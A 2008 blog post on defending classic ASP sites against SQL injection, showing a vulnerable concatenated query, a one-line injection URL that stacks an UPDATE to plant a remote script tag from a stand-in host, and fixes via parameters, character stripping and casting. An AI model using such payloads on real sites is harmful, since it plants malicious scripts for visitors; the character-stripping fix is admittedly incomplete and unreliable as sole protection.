Battling SQL Injection

by Admin 5. September 2008 11:51

"SQL Injection" has become an increasingly common way for hackers to attack web sites, but what is SQL Injection and what can web developers do to avoid it?

SQL injection involves manipulating the variables sent to a web page in order to place additional SQL queries within queries used as part of the web site code.

There are a multitude of ways SQL Injection can be used for nefarious purposes but today we are going to look at the most common method at the moment being used to insert malicious javascript files into web sites

Take the following simple example using ASP:

testpage.asp 

<%

  szQuery = "Select * From myTable Where ID = " & Request("ID")

   ...

%>  

Because the Request("ID") variable isn't filtered or checked in any way, an attacker can manipulate the URL request string to insert any commands they like into the table.

So if they have a script at say http://testdomain.local/bad.js and the myTable has a column called "Description" which is used to display information on the page, an attacker could use the following:

 

"testpage.asp?ID=1;Update myTable set Description = '<script src="http://testdomain.local/bad.js"></script>' Where ID = 1"

This will update the record with ID = 1 to insert the javascript into the description field.

THIS IS BAD

So how does one fix it?

The best approach is to not use request variables directly in SQL in the first place, but in ASP this is not always an easy option.

In ASP.NET however, the problem can be solved by using the SQLCommand.Parameters to add each variable that is needed in the query.

Then the SQL Query will look something like this:

Select * From myTable Where ID = @ID;

But if you need to quickly fix older code in ASP, then filtering each request variable manually is a reasonable approach.
(Though not completely fool proof)

<%

  szID = Request("ID")
szID = Replace(szID,"'","")
szID = Replace(szID,";","")

szQuery = "Select * From myTable Where ID = '" & szID  & "'"

%> 

The above will "escape" potentially dangerous characters such as ' and ; from the variable completely.

Note that the above is only helpful if the ID variable is a string. 

If the variable is a known type other than a string (say Integer) then casting must be used to prevent nasty SQL from being inserted:

<%

  iID = CINT(Request("ID"))

szQuery = "Select * From myTable Where ID = " & iID 

  ... 

%> 

In the above example, if an attacker tries to insert something into ID, it will cause an error and refuse to run the query.

So there you have it, SQL Injection is easy to avoid once you know how.

 

 

Currently rated 3.5 by 2 people

  • Currently 3.5/5 Stars.
  • 1
  • 2
  • 3
  • 4
  • 5

Tags: , , , , ,

Comments

Comments are closed

Powered by BlogEngine.NET 1.4.5.0
Theme by Mads Kristensen